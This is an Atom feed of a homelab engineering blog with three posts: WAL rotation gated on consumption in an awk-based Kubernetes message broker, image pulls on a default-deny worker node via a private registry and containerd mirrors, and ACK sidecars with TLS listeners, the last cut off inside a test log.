Lisandro Fernández RochaSenior Information Systems Engineer & DevSecOpsZola2026-05-31T00:00:00+00:00https://lf3.gitlab.io/atom.xmlKMQ: WAL retention-by-consumption, a timecode bus and a tape feed2026-05-31T00:00:00+00:002026-05-31T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/kmq-wal-rotation/<h2 id="wal-rotation-without-a-coordinator">WAL rotation without a coordinator</h2>
<p>A design note on KMQ, a homelab message broker built from FIFOs, gawk and Kubernetes primitives. Earlier notes covered the <a href="/blog/kmq-broker-from-primitives">original FIFO pipeline</a>, the <a href="/blog/kmq-ring-buffer-backpressure-block">ring-buffer block policy</a>, the <a href="/blog/kmq-ack-sidecar-retry-loop">out-of-band ACK sidecar</a> and the <a href="/blog/kmq-ack-tls-loop">dual-ACK feedback loop with TLS</a>. The <a href="/blog/private-registry-upstream-pull-through-cache">private OCI registry and pull-through cache</a> sits behind all of them.</p>
<p>The ACK note queued log rotation as future work. The TLS note listed unbounded log growth as one of the remaining boundaries: both <code>append.log</code> and <code>processed.log</code> grew forever, the CRD had retention fields and the implementation was not in tree. This note closes that boundary for <code>append.log</code> and is honest about the part still deferred.</p>
<p>It covers two planes of the same work. The mechanism, which is what was built and why, with Kleppmann as the conceptual frame. And the versatility, which is the claim that retention-by-consumption is a deliberate feature rather than a limitation, shown by two unrelated use cases running on the one mechanism.</p>
<hr />
<h3 id="1-the-problem">1. The problem</h3>
<p><code>append.log</code> grew without bound under sustained throughput. The v0.4.4 throughput suite documented file-size-dependent variance: as the log got larger, benchmarks stopped being comparable across runs because the cost of touching the file changed underneath them. A <code>SUBSCRIBE</code> with <code>FROM_START</code> against a 272k-line topic took 14.7 seconds before the first byte reached the consumer, because the consumer-side reader walks the log from the top.</p>
<p>Three operational consequences, all measurable. Disk fills. Benchmarks lose comparability across runs. <code>FROM_START</code> latency degrades with log size. None of these is exotic. They are the standard reasons every log-based system eventually grows a rotation story.</p>
<hr />
<h3 id="2-what-kleppmann-s-book-gave-us-and-what-it-did-not">2. What Kleppmann’s book gave us and what it did not</h3>
<p>The conceptual scaffolding came from <a rel="noopener nofollow noreferrer" target="_blank" href="https://dataintensive.net/">Designing Data-Intensive Applications</a> by Martin Kleppmann, specifically Chapter 11 on stream processing and log-based message brokers and Chapter 3 on log-structured storage and segment-based reclamation.</p>
<p>The book provides the model KMQ already inhabits. A log-based message broker uses an append-only log as the durability substrate, consumers track offsets and retention is based on time or size rather than on delivery confirmation. Kafka and Amazon Kinesis are the canonical examples. Segmented logs split the log into segments, treat sealed segments as immutable and reclaim by deleting whole segments. Consumer offset tracking is the mechanism by which the broker knows what has been read.</p>
<p>The book also describes something KMQ deliberately does not do. <a rel="noopener nofollow noreferrer" target="_blank" href="https://kafka.apache.org/documentation/#compaction">Log compaction in the Kafka sense</a> retains only the latest value per key in an update stream. KMQ’s <code>append.log</code> has no key-update semantics. Every message is an independent event, not a new value for an existing key, so there is no “latest value” to retain and nothing to compact. Compaction is the wrong primitive here.</p>
<p>This distinction matters enough to name explicitly, because a reader who knows Kleppmann will assume the Kafka meaning of the word otherwise. Rotation moves sealed segments aside. Compaction retains the latest value per key. KMQ does the first and not the second. By Kleppmann’s taxonomy it is a log-based broker with rotation but without compaction. The book named the design space. The implementation decided where on that map this particular broker sits.</p>
<hr />
<h3 id="3-the-design-pivot">3. The design pivot</h3>
<p>The honest version, because these notes own their wrong turns.</p>
<p>The initial rotation plan was an external sidecar container watching file sizes and coordinating with the durability stage through a signal or a filesystem flag. Self-rotation inside <code>durability.awk</code> was flagged in planning as not recommended, on the grounds that it contaminates the hot path.</p>
<p>The implementation went with self-rotation anyway, and the justification turned out cleaner than the initial caution.</p>
<p><code>durability.awk</code> is the single writer of <code>append.log</code>. That is a load-bearing invariant across the whole pipeline, enforced by <code>replicas: 1</code> and the <code>Recreate</code> strategy. Self-rotation has zero coordination cost: no signal, no flag and no race window between a rotator and the writer, because the writer rotates itself. A sidecar would have had to coordinate with the single writer, which is exactly the complexity self-rotation eliminates. The size check happens at the batch boundary, where the file is already being closed and reopened for the tier-1 persistence flush, so it does not move the hot-path needle in any way the throughput suite can see.</p>
<p>The lesson is worth stating plainly. When a single-writer invariant already holds, the “do not contaminate the hot path” instinct can be overcautious. The contamination is real but minor. The coordination it would have cost is real and large. The reversal made the design simpler, not worse.</p>
<hr />
<h3 id="4-cut-and-reclaim">4. CUT and RECLAIM</h3>
<p>The design separates two operations that look the same from outside but answer different questions.</p>
<table><thead><tr><th></th><th>CUT</th><th>RECLAIM</th></tr></thead><tbody>
<tr><td>Question</td><td>When to seal the active segment</td><td>When to delete a sealed segment</td></tr>
<tr><td>Trigger</td><td>Size or age threshold</td><td>Consumption watermark</td></tr>
<tr><td>Fires</td><td>Always, when threshold is reached</td><td>Only when every route has consumed past the segment</td></tr>
<tr><td>Effect on consumers</td><td>None</td><td>A lagging consumer retains segments until it catches up</td></tr>
<tr><td>Failure if confused</td><td>n/a</td><td>Gating the cut here would starve the pipeline</td></tr>
<tr><td>Data safety</td><td>Loss-free</td><td>Deletes only fully consumed data</td></tr>
</tbody></table>
<p>CUT seals the active segment and starts a fresh one. The sequence is loss-free:</p>
<pre><code># CUT, fired at a batch boundary when the size or age threshold is reached
close(APPEND_LOG) # release the file descriptor
mv append.log -> append.log.<n> # seal the segment under a new name
gzip append.log.<n> & # compress in the background, off the hot path
reopen APPEND_LOG for append # fresh active segment, writing resumes
</code></pre>
<p>The cut keeps <code>append.log</code> from growing without bound regardless of what any consumer is doing. That is the whole point of separating it from reclaim.</p>
<p>RECLAIM deletes a sealed <code>.gz</code> segment from disk. It is gated by the consumption watermark, which is the minimum per-route <code>processed.cursor</code> sequence number across the active routes. A segment is reclaimed only when its top sequence number is at or below the watermark, meaning every route has consumed past it.</p>
<pre><code>append.log active segment, being written
append.log.000003.gz sealed, top seq 30000 reclaimable when watermark >= 30000
append.log.000002.gz sealed, top seq 20000 reclaimable when watermark >= 20000
append.log.000001.gz sealed, top seq 10000 reclaimed, watermark already passed it
watermark = min(processed.cursor seq) over active routes
</code></pre>
<p>The naive design gates the cut on consumption, or simply never cuts while a consumer lags. That fails in a specific way. A slow consumer turns rotation off, <code>append.log</code> grows without bound again and the original problem returns wearing a different hat. Gating only the reclaim is the correct decomposition: the cut bounds the active file unconditionally, the reclaim refuses to delete anything a route has not yet read. A stuck consumer costs disk, not data and not throughput.</p>
<hr />
<h3 id="5-the-per-route-cursor-as-the-watermark">5. The per-route cursor as the watermark</h3>
<p>The per-route <code>processed.cursor</code> was not built for rotation. It was introduced earlier to give O(1) ACK reads, bypassing a slow path that scanned a log to answer “has sequence N been processed”. One small file per route, holding the last processed sequence number.</p>
<p>With rotation, the same file becomes the consumption watermark. Take the minimum cursor sequence across all active routes and that is the floor under which a reclaim is safe. No new bookkeeping, no new file and no second source of truth about what has been consumed.</p>
<p>The reuse is the point worth highlighting. A primitive built for one purpose turned out to be the natural primitive for another. That is the quiet payoff of composable files over time. When the durable state is just a line in a file readable with <code>cat</code>, a second consumer of that state costs nothing to add.</p>
<hr />
<h3 id="6-the-behavior-that-looked-like-a-bug">6. The behavior that looked like a bug</h3>
<p>The retention behavior first showed up as an apparent leak. Segments were not being reclaimed, disk was growing and a route with no consumer kept its segments forever. The instinct was to treat it as a bug to fix.</p>
<p>It is not a leak. It is a choice. Reclamation is gated on consumption on purpose, because both alternatives are worse. Gating the cut starves the pipeline under load, as Section 4 shows. Reclaiming unconsumed data deletes messages nobody has read yet, which is data loss dressed up as housekeeping. Retaining a stuck route’s segments until they are consumed is the only option that loses nothing, and it is the one the design takes.</p>
<p>The verification surfaced one genuine bug, worth reporting because it is the kind that only appears under rotation. The cut writes a comment marker as the first line of each fresh segment. The O(1) ACK read took the tail line of the active segment to find the durable sequence, and under load the read sometimes crossed the window right after a cut, saw the comment marker and returned sequence 0. An end-to-end loop then locked on 0. The fix was small: read the last several lines and skip comments rather than trusting the literal tail. Verified on cluster on 2026-05-31, with rotation enabled, two consecutive contract runs clean. The bug was real, transient and now closed. The retention behavior was never the bug. The tail read was.</p>
<p>The proof that the boundary was chosen rather than tripped over is that the same mechanism, unchanged, serves two unrelated real use cases.</p>
<hr />
<h3 id="7-use-case-one-an-smpte-timecode-bus">7. Use case one: an SMPTE timecode bus</h3>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/SMPTE_timecode">SMPTE timecode</a> in its longitudinal form, <a rel="noopener nofollow noreferrer" target="_blank" href="https://en.wikipedia.org/wiki/Linear_timecode">LTC</a>, is a synchronization stream recorded on its own track parallel to the content tracks. It exists to be read by an external synchronizer that does not consume the content. The standard is SMPTE 12M. The timecode itself dates to the late 1960s, with a SMPTE committee formed around 1969 to end the chaos of incompatible editing-machine codes, and the formal ANSI/SMPTE 12M specification approved in 1975, later split into 12M-1 and 12M-2 in 2008. The relevant property for this note is structural, not historical: it is the canonical case of a side channel read by an external asynchronous device that is not the content consumer.</p>
<p>KMQ’s retained route is the same shape. Timecode frames go on a route named <code>smpte</code>, are retained in the WAL across rotations and an external reader consumes them at its own cadence. That reader is a sync slave, the kind of thing you would drive off a GPIO line on a small embedded board. The retention is the timecode-bus guarantee: the sync track has to survive until the reader has it, which is exactly retention-by-consumption.</p>
<p>The homelab angle is the honest one. This will never drive a real tape deck, and that is the point. The pattern is real, the use case is real and the broker carries it without knowing the bytes are timecode. A 1969 sync protocol carried by an AWK broker on Kubernetes and read out to a microcontroller is vaporwave that actually compiles.</p>
<p>The scenario, <code>usecase-smpte-timecode.sh</code>, verified on cluster: 750 frames in <code>HH:MM:SS:FF</code> form at 25 frames per second starting from <code>10:00:00:00</code>, retained through a rotation, then read <code>FROM_START</code> by the synchronizer. It asserts coverage, meaning no dropped frames and monotonic first-appearance order, because a sync bus that delivers out of order cannot lock. Span verified from <code>10:00:00:00</code> to <code>10:00:29:24</code>.</p>
<hr />
<h3 id="8-use-case-two-cold-storage-with-verifiable-bundles">8. Use case two: cold storage with verifiable bundles</h3>
<p>A route named <code>archive</code> accumulates with no live consumer. Once a period, an archivist runs a job that consumes the route in full, acknowledges that consumption through the drainer (<code>tools/drain-routes.sh</code>, reused rather than reimplemented), packages the content into per-bundle <code>tar.gz</code> files and computes a sha256 for each. It then emits a manifest aligning every bundle to its sequence range and archival date. The manifest is the product. It is what makes the cold store verifiable on retrieval rather than a pile of opaque tarballs.</p>
<p>The standards lineage sits naturally at the doorstep of this output, and the wording here is deliberately cautious because compatibility is a claim that should be earned, not asserted. The bundles are <a rel="noopener nofollow noreferrer" target="_blank" href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html">TAR, the pax interchange format under POSIX.1-2001</a>, the most primitive and most thoroughly deployed tape interchange form there is. The manifest plus per-bundle sha256 is a rudimentary archival information package in the sense of the <a rel="noopener nofollow noreferrer" target="_blank" href="https://public.ccsds.org/Pubs/650x0m2.pdf">OAIS reference model, ISO 14721 / CCSDS 650.0-M-2</a>, which mandates integrity validation for long-term cold storage. An optional <code>ARCHIVE_DEST</code> can point at an <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.iso.org/standard/80598.html">LTFS mount, ISO/IEC 20919:2021</a>, which writes the bundles to LTO tape with the operating system seeing the tape as a disk. Adjacent and equally documented are the object-storage front ends for tape, such as <a rel="noopener nofollow noreferrer" target="_blank" href="https://docs.aws.amazon.com/storagegateway/latest/tgw/WhatIsStorageGateway.html">AWS Tape Gateway</a> and Spectra Logic BlackPearl, which present an S3 interface over a tape library. These are real, decade-deployed standards, used by CERN’s tape archive and by national archives.</p>
<p>KMQ implements none of them. It produces output that sits naturally where they begin. The right framing is “the WAL turned into a feed for tape”, not “KMQ is an archival system”.</p>
<p>The scenario, <code>usecase-cold-storage.sh</code>, verified: 1000 records sent to <code>archive</code>, the drainer invoked to acknowledge consumption, a full read, a split into 4 bundles of 250, each as <code>tar.gz</code> plus sha256 and a manifest aligning each bundle to its sequence range. Integrity is recomputed and matched. The bundles land in the PVC by default, with no external destination required.</p>
<hr />
<h3 id="9-the-maturity-argument">9. The maturity argument</h3>
<p>Pull it together.</p>
<p>One mechanism: a reclaim gated on the consumption watermark, an always-on cut and the per-route cursor doing double duty as that watermark.</p>
<p>Two unrelated use cases: a synchronization bus and an archive feed.</p>
<p>The behavior that looks like a bug for a naive queue, segments retained because a route has no consumer, is precisely the guarantee both use cases require. The sync bus needs the track to survive until the slave reads it. The archive needs the route to survive until the archivist packages it.</p>
<p>The discipline that made this legible matters as much as the mechanism. The retention is documented as a feature with paired white-box and black-box scenarios, one to one, not asserted in prose. The retention is shown surviving a rotation and then released by consumption, with the reclaim invariant checked from inside the broker. A design pays off when it does work the designer did not have to do. The CUT and RECLAIM split was sized for rotation. It turned out to be exactly what these two use cases needed, and neither was aimed at when the split was drawn.</p>
<hr />
<h3 id="10-what-was-deferred">10. What was deferred</h3>
<p>The boundaries, stated plainly, because the value of a note like this is in being exact about where the work stops.</p>
<p><code>processed.log</code> rotation is deferred. The ACK-ingress endpoint runs as a <code>socat</code> EXEC handler, a fresh gawk process per connection that reopens the file by path each time, so it never holds the long-lived descriptor that made <code>append.log</code> rotation necessary in the first place. <code>processed.log</code> most likely decouples from the broker logs into the ACK ceremony layer entirely. The right move was to not rotate it now and to decide its architectural home first, rather than copy a mechanism it does not need.</p>
<p>Segment-aware <code>GET_STATUS</code> is deferred as an edge case. When a queried sequence has been reclaimed and now lives in a deleted segment, <code>GET_STATUS</code> answers <code>NOT_FOUND</code> rather than pointing at the archive. A segment index recorded as semantic intent, in etcd or a ConfigMap and changing per rotation rather than per message, would fix this. It is not yet built.</p>
<p>Per-topic file rotation is not done. <code>test.log</code>, <code>jobs.log</code> and <code>dead_letter.log</code> are the per-route queue files, written one line per routing key and never reclaimed. They are real debris under heavy synthetic load, and they tie to the deferred <code>processed.log</code> question rather than to the WAL rotation this note describes.</p>
<hr />
<h3 id="what-is-queued">What is queued</h3>
<p>A segment index so <code>GET_STATUS</code> can answer for reclaimed sequences instead of returning <code>NOT_FOUND</code>. A decision on where <code>processed.log</code> lives before it gets a rotation policy of its own. And the <code>ARCHIVE_DEST</code> path actually pointed at an LTFS mount, so the cold-storage bundles land on tape rather than back on the same PVC they came from. None of these changes the mechanism in this note. They extend the surface it already exposes.</p>
Pulling container images on a node that has no internet2026-05-16T00:00:00+00:002026-05-16T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/k8s-image-pulls-without-internet/<p>Fifth in the KMQ series. Second in the homelab infrastructure subseries that runs alongside it.</p>
<p>Previous in KMQ: <a href="/blog/kmq-broker-from-primitives">the broker from primitives</a>, <a href="/blog/kmq-ring-buffer-backpressure-block">the ring buffer and backpressure</a>, <a href="/blog/kmq-ack-sidecar-retry-loop">the ack sidecar retry loop</a>, <a href="/blog/kmq-ack-tls-loop">the TLS sidecar loop</a>.</p>
<p>Previous in infra: <a href="/blog/private-registry-upstream-pull-through-cache">a private OCI registry and a pull-through cache</a>.</p>
<p>The infra post set up a private registry on a LAN host and a cache for three public registries on the segment router. Both were exercised from a workstation with full internet access. This post extends the same substrate to a kubernetes worker that has none.</p>
<h2 id="what-this-is">What this is</h2>
<p>A two-segment cluster. The control plane sits in the outer segment with internet access. The worker sits in the inner segment behind a default-deny firewall rule. That rule is the point: anything scheduled to that worker, including anything compromised, cannot reach the public internet.</p>
<p>The worker still runs pods that reference public registries. <code>registry.k8s.io/coredns/coredns:v1.11.3</code>. <code>docker.io/library/alpine:3.21</code>. The pods do not know about the segmentation, and the kubelet does not need to know either <a rel="noopener nofollow noreferrer" target="_blank" href="https://kubernetes.io/docs/concepts/containers/images/">1</a>. It asks the container runtime to pull. The bytes appear.</p>
<p>Five components are doing distinct jobs behind that sentence. Each one can be reasoned about and verified on its own, which is what makes the rest of this post short <a rel="noopener nofollow noreferrer" target="_blank" href="https://debuggingrules.com/">2</a>.</p>
<h2 id="the-components">The components</h2>
<p>Inside the segment: the worker; a private OCI registry on the same LAN over plain HTTP, conformant with the OCI Distribution Specification <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/opencontainers/distribution-spec/blob/main/spec.md">3</a>; a DNS resolver on the segment router answering homelab names; and a containerd mirror configuration on the worker, under <code>/etc/containerd/certs.d/</code>, that translates each public registry hostname to the private one <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/containerd/containerd/blob/main/docs/hosts.md">4</a>.</p>
<p>Outside the segment: the control plane has internet egress and an OCI client that pre-pushes upstream images into the private registry <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane_copy.md">5</a>. The push is automated and runs once per kubernetes version bump, driven by <code>kubeadm config images list</code>. It populates seven images: api server, controller manager, scheduler, proxy, coredns, pause and etcd. The same loop with a different list populates upstream tooling images the cluster will need.</p>
<p>What stays manual is the push of internally-built artifacts (the broker, the producer, the test consumer). Those go in after each local build, by hand for now.</p>
<h2 id="what-a-pull-looks-like">What a pull looks like</h2>
<p>The kubelet asks containerd for <code>registry.k8s.io/coredns/coredns:v1.11.3</code>. Containerd reads <code>/etc/containerd/certs.d/registry.k8s.io/hosts.toml</code>, finds a mirror pointing to <code>http://registry.home.arpa:5000</code>, opens the connection, fetches the manifest, fetches the blobs and reports success. The pod moves through <code>ContainerCreating</code> to <code>Running</code>.</p>
<p>The hostname <code>registry.k8s.io</code> is never resolved to a public IP from the worker. The firewall is never asked to allow public egress. The bytes never leave the segment.</p>
<p>Three layers have to work for that flow: TCP routability worker-to-registry, DNS resolution of the local hostname and containerd correctly applying its config. Each is verifiable on its own. When the assembly fails, the move is to isolate the layer that broke before changing anything else <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.kohala.com/start/tcpipiv1.html">6</a>.</p>
<h2 id="four-dead-ends-on-the-way">Four dead ends on the way</h2>
<p>The cookbook below is the version after the dust settled. The path there was four dead ends. Each is a recognisable shape worth writing down.</p>
<p><strong>The pull-through cache did not help.</strong> The first instinct was to point the worker at the same cache built for the outer segment. The cache opens an HTTPS connection to <code>registry.k8s.io</code> upstream, which replies with a 307 redirect to a regional CDN backend on a public address. The cache cannot follow the redirect on the worker’s behalf. The worker cannot reach the CDN either. The error from <code>kubectl describe pod</code> named the CDN’s public IP: <code>dial tcp 34.96.108.209:443: connect: connection refused</code>. The IP was the clue. The cache was an inert participant, not a culprit.</p>
<p><strong>The registry rejected the manifest, not the blobs.</strong> The pre-push from the control plane went blob by blob and then failed: <code>MANIFEST_INVALID: manifest invalid; map[...mediaType:application/vnd.docker.distribution.manifest.v2+json]</code>. The private registry follows the OCI Image Specification strictly. To accept Docker V2 schema manifests (which is what <code>registry.k8s.io</code> serves through Google Artifact Registry), it needs <code>http.compat = ["docker2s2"]</code> in its config <a rel="noopener nofollow noreferrer" target="_blank" href="https://zotregistry.dev/v2.1.15/admin-guide/admin-configuration/">7</a>. Adding the line and restarting the registry let the next run of the loop succeed against existing blobs and put the manifests in. One footnote: the registry converts Docker manifests to OCI on upload, which changes the digest. Pull-by-tag works. Pull-by-original-digest does not.</p>
<p><strong>The mirror configuration was being ignored entirely.</strong> With the pre-push done, the worker still failed to pull, with the same upstream IP in the error. The clue was upstream of the runtime, in the config loader: <code>containerd config dump | grep WARN</code> reported, for every CRI section in the file, “Ignoring unknown key”. The runtime had moved to config schema v3. The file was written for v2 plugin paths (<code>io.containerd.grpc.v1.cri</code>). The new paths are <code>io.containerd.cri.v1.images</code> for the image plugin and <code>io.containerd.cri.v1.runtime</code> for the runtime plugin <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/containerd/containerd/blob/main/docs/cri/config.md">8</a>. Transcribing the same physical settings into the new structure made the runtime parse them.</p>
<p><strong>The mirror pointed at the right host, with one wrong word.</strong> With v3 in place, <code>containerd config dump</code> showed <code>config_path</code> active and <code>/etc/containerd/certs.d/registry.k8s.io/hosts.toml</code> was being read. The mirror still failed, again with the upstream IP in the error. The hosts.toml had <code>override_path = true</code>. That field tells the runtime not to prepend <code>/v2/</code> to upstream requests, intended for registries that put their API root elsewhere. The private registry follows the OCI spec, so it does have <code>/v2/</code>. With <code>override_path = true</code> the runtime made requests against URLs the registry returned 404 for, then fell back to the configured <code>server</code> value, which was the unreachable public host. Removing one line fixed it.</p>
<p>The thread through all four: don’t think, look <a rel="noopener nofollow noreferrer" target="_blank" href="https://debuggingrules.com/">2</a>. Each fix came from reading what the system reported, in order, layer by layer. The longest single delay was on the third one, where the smoking gun (<code>WARN</code> lines on every CRI key) was visible from the first command, and we initially overlooked it.</p>
<h2 id="cookbook-adding-a-new-upstream">Cookbook: adding a new upstream</h2>
<p>Three steps. From a host with internet access, pre-push the images:</p>
<pre><code>crane copy <upstream>/<image>:<tag> <private-registry>/<image>:<tag>
</code></pre>
<p>On the worker, create <code>/etc/containerd/certs.d/<upstream-hostname>/hosts.toml</code>:</p>
<pre><code>server = "https://<upstream-hostname>"
[host."http://<private-registry-hostname>:5000"]
capabilities = ["pull", "resolve"]
skip_verify = true
</code></pre>
<p>Containerd reads hosts.toml on each pull. No restart needed.</p>
<p>To verify before scheduling pods, issue a pull through the same code path the kubelet uses:</p>
<pre><code>ctr -n k8s.io images pull --hosts-dir /etc/containerd/certs.d <upstream-hostname>/<image>:<tag>
</code></pre>
<p>If this succeeds, the kubelet will too. If it fails, the error message identifies which of the three pieces above is missing or wrong. Reproduce before isolating; isolate before changing <a rel="noopener nofollow noreferrer" target="_blank" href="https://debuggingrules.com/">2</a>.</p>
<h2 id="what-is-queued">What is queued</h2>
<p>Pushing internally-built artifacts is not yet automated. That is queued behind the Ansible role for the rest of the homelab.</p>
<p>The private registry serves plain HTTP. Adding TLS through the local CA is queued behind certificate lifecycle automation.</p>
<p>The image catalog is not pruned. Old manifest references accumulate. Cleanup belongs in the same place as rotation.</p>
<p>What this enables matters more than what it is. With image pulls reliable on a default-deny segment, every other piece that depends on container scheduling becomes possible there: cluster DNS, the broker pods, anything the cluster might host next. The constraint that defines the segment is preserved.</p>
<hr />
<h2 id="references">References</h2>
<p>[1] Kubernetes documentation, “Images”. Pull policy, registry resolution, image identifiers. The kubelet’s behaviour around image pulls is described here. <a rel="noopener nofollow noreferrer" target="_blank" href="https://kubernetes.io/docs/concepts/containers/images/">https://kubernetes.io/docs/concepts/containers/images/</a></p>
<p>[2] David J. Agans, <em>Debugging: The 9 Indispensable Rules for Finding Even the Most Elusive Software and Hardware Problems</em>, 2002. The two rules that did the work in this session were rule 3 (“Quit Thinking and Look”) and rule 4 (“Divide and Conquer”). Every fix above came from running a command, reading the output and isolating one layer. The book is short and worth keeping at hand. <a rel="noopener nofollow noreferrer" target="_blank" href="https://debuggingrules.com/">https://debuggingrules.com/</a></p>
<p>[3] Open Container Initiative Distribution Specification. Endpoint definitions for <code>/v2/</code>, manifests and blobs; the protocol the private registry speaks. <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/opencontainers/distribution-spec/blob/main/spec.md">https://github.com/opencontainers/distribution-spec/blob/main/spec.md</a></p>
<p>[4] containerd, “Registry Host Configuration”. The <code>hosts.toml</code> schema: <code>server</code>, <code>[host."..."]</code>, <code>capabilities</code>, <code>override_path</code>, <code>skip_verify</code>. This is the single file that wires public hostnames to private mirrors. <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/containerd/containerd/blob/main/docs/hosts.md">https://github.com/containerd/containerd/blob/main/docs/hosts.md</a></p>
<p>[5] <code>crane copy</code> documentation in the go-containerregistry project. Source-to-destination mirroring of OCI artifacts without intermediate disk. The loop on the control plane is one line per image. <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane_copy.md">https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane_copy.md</a></p>
<p>[6] W. Richard Stevens, <em>TCP/IP Illustrated, Volume 1: The Protocols</em>, 2nd ed., 2011. Chapter 2 on tracing and layered diagnosis. The principle (“never assume the layers below are working before measuring them”) generalises directly from network stacks to container runtime stacks: routability, DNS, runtime config in this case. <a rel="noopener nofollow noreferrer" target="_blank" href="https://www.kohala.com/start/tcpipiv1.html">https://www.kohala.com/start/tcpipiv1.html</a></p>
<p>[7] zot configuration reference. <code>http.compat = ["docker2s2"]</code> accepts Docker V2 Schema 2 manifests; the registry converts them to OCI on upload, which changes the manifest digest. <a rel="noopener nofollow noreferrer" target="_blank" href="https://zotregistry.dev/v2.1.15/admin-guide/admin-configuration/">https://zotregistry.dev/v2.1.15/admin-guide/admin-configuration/</a></p>
<p>[8] containerd CRI plugin documentation. Config schema v3 splits the legacy <code>io.containerd.grpc.v1.cri</code> plugin into <code>io.containerd.cri.v1.images</code> (sandbox image, registry, config_path) and <code>io.containerd.cri.v1.runtime</code> (runtimes, cgroup driver). Sections under the old path are silently ignored with a WARN on startup. <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/containerd/containerd/blob/main/docs/cri/config.md">https://github.com/containerd/containerd/blob/main/docs/cri/config.md</a></p>
From push-and-pray to complete feedback loop: dual sidecar ACK and TLS2026-05-09T00:00:00+00:002026-05-09T00:00:00+00:00
Unknown
https://lf3.gitlab.io/blog/kmq-ack-tls-loop/<h2 id="from-push-and-pray-to-complete-feedback-loop-dual-sidecar-ack-and-tls">From push-and-pray to complete feedback loop: dual sidecar ACK and TLS</h2>
<p><a href="/blog/kmq-ack-sidecar-retry-loop">Post 03</a> introduced an out-of-band <code>ack-egress</code> sidecar. It gave the producer a way to ask “has my message been safely persisted?” and turned the unreliable TCP boundary into an application-level at-least-once guarantee. Still missing was the consumer side. A producer that needed evidence that a message had been fully processed, not just stored, remained in the dark.</p>
<p>This post closes that final gap. It adds a second sidecar (<code>ack-ingress</code>) that answers a different question: “has my message been handled by a consumer?”. The two together form a complete pull-based feedback loop. Because every byte of the loop now carries sensitive application data, the post also describes how TLS was bolted onto all three broker TCP endpoints without modifying a single line of AWK in the hot path and without removing the plaintext listeners that make local debugging trivial.</p>
<hr />
<h3 id="two-questions-two-sidecars">Two questions, two sidecars</h3>
<table><thead><tr><th>Sidecar</th><th>Plaintext port</th><th>TLS port</th><th>Question</th><th>Source file</th></tr></thead><tbody>
<tr><td><code>ack-egress</code></td><td>5675</td><td>54435</td><td>Has message sequence N been persisted?</td><td><code>append.log</code></td></tr>
<tr><td><code>ack-ingress</code></td><td>5676</td><td>54436</td><td>Has message sequence N been processed?</td><td><code>processed.log</code></td></tr>
</tbody></table>
<p>The first sidecar was described in the earlier post. The second is constructed identically. A <code>socat</code> listener forks an AWK script that scans a single log file in O(n) time using <code>getline</code>. No shell, no <code>system()</code>, read-only PVC mount.</p>
<p>The consumer (or a test harness) appends a line to <code>processed.log</code> after finishing its work. The same message line plus a processing timestamp. The <code>ack-ingress</code> script checks for the presence of a sequence number and returns <code>PROCESSED</code> or <code>PENDING</code>.</p>
<pre data-lang="awk" class="language-awk "><code class="language-awk" data-lang="awk"># ack-ingress.awk - processing-status query endpoint
BEGIN { LOG = ENVIRON["PROCESSED_LOG"] }
{
gsub(/^[[:space:]]+|[[:space:]]+$/, "")
if ($1 == "GET_STATUS" && NF >= 2) {
target_seq = $2
found = 0
while ((getline line < LOG) > 0) {
split(line, f, "|")
if (f[1] == target_seq) { found = 1; break }
}
close(LOG)
print (found ? "PROCESSED" : "PENDING")
fflush()
}
exit
}
</code></pre>
<p>With both endpoints available, a producer can answer the two essential questions without ever inspecting the broker’s internals. The responsibility for validating delivery status and deciding when to retry stays in the client. The broker remains an honest, inspectable storage pipeline.</p>
<hr />
<h3 id="the-complete-loop">The complete loop</h3>
<pre><code>producer broker pod consumer
| | |
| 1. send ---------->| internal-ingress |
| | | |
| | v |
| | pipeline -> append.log (PVC) |
| | |
| | egress -----------------------> reads message
| | | does work
| | | |
| | processed.log (PVC) <---------|<----+
| | ^ ^ |
| | | | reads only
| | | |
| 2. GET_ACK ------->| ack-egress
| <- ACK <seq> ------| (durability)
| |
| 3. GET_STATUS ---->| ack-ingress
| <- PROCESSED ------| (consumer processing)
| |
</code></pre>
<p>The pipeline writes append.log. The consumer writes processed.log. Both files live on the same PVC. Both ACK sidecars read those files only. The hot path knows nothing about delivery semantics.</p>
<hr />
<h3 id="same-broker-two-transports">Same broker, two transports</h3>
<p>TLS is added as a parallel listener set, not a replacement. For every plaintext container a sibling exists with a different port and a static <code>socat OPENSSL-LISTEN</code> command. The choice between plain and encrypted is fixed at manifest-apply time, not at runtime. No shell-wrapper evaluation, no environment switch.</p>
<p>The private key and certificate come from a <a rel="noopener nofollow noreferrer" target="_blank" href="https://smallstep.com/certificates/">step-ca</a> instance running on the worker. They are stored in a Kubernetes Secret named <code>kmq-tls</code> and mounted read-only at <code>/etc/tls</code>. The CA root certificate is distributed to clients, which use <code>socat OPENSSL</code> with the <code>cafile</code> option to verify the broker. Connecting by pod IP currently requires the <code>verify=0</code> flag because the certificate’s SAN does not include dynamic pod IPs.</p>
<p>The plaintext endpoints stay fully operational. Existing scenarios continue to pass without modification. A developer can bypass TLS entirely during local debugging. When TLS is needed, clients connect to the encrypted port with <code>cafile</code>. The AWK scripts are unchanged. The pipeline is unchanged.</p>
<hr />
<h3 id="validation-status">Validation status</h3>
<p>The continuous validation suite (<code>run-all-scenarios.sh</code>) covers both the plaintext and the TLS path. A clean run on the homelab cluster:</p>
<pre><code>ts=2026-05-09T21:04:00Z runner=all-scenarios lvl=INFO script=scenarios/scenario-resume.sh msg=start
ts=2026-05-09T21:04:34Z runner=all-scenarios lvl=PASS script=scenarios/scenario-resume.sh msg=exit 0
ts=2026-05-09T21:04:34Z runner=all-scenarios lvl=INFO script=scenarios/scenario-routing.sh msg=start
